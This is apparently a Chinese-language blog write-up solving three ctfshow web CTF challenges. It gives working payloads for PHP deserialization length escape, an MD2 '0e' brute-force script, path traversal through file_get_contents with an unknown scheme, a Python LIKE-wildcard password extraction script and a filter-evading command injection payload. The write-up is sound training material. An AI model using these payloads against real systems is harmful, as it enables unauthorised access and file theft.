web1_此夜圆
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
比较明显的PHP反序列化长度攻击,比如:
O:1:"a":2:{
s:5:"uname";s:5:"12345";s:8:"password";i:1;}
如果这样呢:
O:1:"a":2:{
s:5:"uname";s:5:"12345";s:8:"password";i:123;}";s:8:"password";i:1;}
只是举个例子,意思就是说,通过一些替换的自定义函数,让uname里面的值变长了,但是序列化后的长度并没有变,这里仍然是5,所以取到的是12345,然后password就是123,最后的";s:8:"password";i:1;}
就相当于被截掉了
在本题,会把Firebasky替换成Firebaskyup,一次增加2位。而我们要构造出的大概是这样:
O:1:"a":2:{
s:5:"uname";s:4:"feng";s:8:"password";s:5:"yu22x";}
我们需要伪造这些:
";s:8:"password";s:5:"yu22x";}
长度是30,因此uname需要有15个Firebasky,最终构造如下:
<?php
class a
{
public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
//public $uname="feng";
public $password="yu22x";
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
echo filter(serialize(new a()));
web2_故人心
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
一道简单的闯关题,除了中间那个把我气吐了的那个md2。。。
首先是这个:
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
考察浮点数的精度溢出,任意构造即可。就是不断测试,比如先构造9e-100
,发现$a!=0成立但是$a**2==0不成立
,说白了就是利用浮点数点,让它本身不至于小到0,但是它平方后小到接近0就可以了。
慢慢测试9e-180
可以满足。
然后就是万恶的MD2:
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
这题比较坑的地方就是存在robots.txt。正常这样的题目都不需要扫目录,没想到这题它搞了。。。最终可以得到这个hint:
Is it particularly difficult to break MD2?!
I’ll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash(“md2”,$b)
xxxxxx48399 hash(“md2”,hash(“md2”,$b))
b和c的构造的最后几位都给了,前两位肯定是0e了。根据提示numbers,就按纯数字来爆,写个python脚本爆一下:
from Crypto.Hash import MD2
for v1 in "0123456789":
for v2 in "0123456789":
for v3 in "0123456789":
v = "0e" + v1 + v2 + v3 + "024452"
obj = MD2.new()
obj.update(v.encode("utf-8"))
n1 = obj.hexdigest()
if n1[0:2] == "0e" and n1[2:11].isdigit():
print("第一个是:"+v)
for v1 in "0123456789":
for v2 in "0123456789":
for v3 in "0123456789":
for v4 in "0123456789":
v = "0e" + v1 + v2 + v3 + v4 + "48399"
obj = MD2.new()
obj.update(v.encode("utf-8"))
n1 = obj.hexdigest()
obj = MD2.new()
obj.update(n1.encode("utf-8"))
n2 = obj.hexdigest()
if n2[0:2] == "0e" and n2[2:11].isdigit():
print("第二个是:"+v)
安装python的那个Crypto库有许许多多的玄学问题。写博客的时候我已经把那些解决办法给忘了。。希望后来者自求自求多福。。。我觉得本题最难的不是知识点不会,而是装那个Crypto库。。。
最后是这个:
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
已经提示了flag在fl0g.txt,所以肯定是要file_get_contents去读的。
这里考察了file_get_contents函数的一个小trick:
当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件
所以构造一个不认识的协议头,然后目录穿越即可:
url=httpp://ctfshow.com/../../../../../../../../fl0g.txt
web3_莫负婵娟
做完了WEB入门的月饼杯web3的复仇,再来做这题视野真的开阔了许多。
首先进入环境是登录,f12看到了重要信息:
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
看到是like,以为需要注入,跑了一下fuzz感觉把注入需要的都给ban了,但是like的通配符%和_中只ban了%,我以为能select出结果就可以登陆成功,然后一直加_匹配,发现32个才匹配成功,不过返回的是这个:
I have filtered all the characters. Why can you come in? get out!
说明可以把密码给布尔注入跑出来,写个python:
import requests
url="http://e311aa89-4b46-4cdb-bf83-cfdb0504d0a3.chall.ctf.show/login.php"
password=""
length=32
result="67815b0c009ee970fe4014abaa3Fa6A0"
for i in range(0,33):
for j in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
payload=password+j+"_"*(31 - len(password))
data={
"username":"yu22x",
"password":payload
}
r=requests.post(url=url,data=data).text
if "wrong" not in r:
password+=j
print(password)
break
登录成功后进到/P1099.php,比较明显的命令执行,前面是ping,利用;分隔一下命令,然后想办法自己执行自己构造的第二条命令。
因为已经做过了这题的许许多多的加强版,ban了各种东西,学习到了各种各样的姿势,所以秒这个几乎没什么过滤的题目很轻松。就是过滤了小写字母和一些符号,这题利用bash的内置变量进行构造,因为连数字都没ban,所以构造起来更加轻松,放以下/bin/base64 flag.php的payload:
ip=127.0.0.1;${
PATH::1}???${
PATH::1}????64 ????.???
构造出/即可。更多的姿势把web3的复仇系列刷完即可学会。嘿嘿嘿。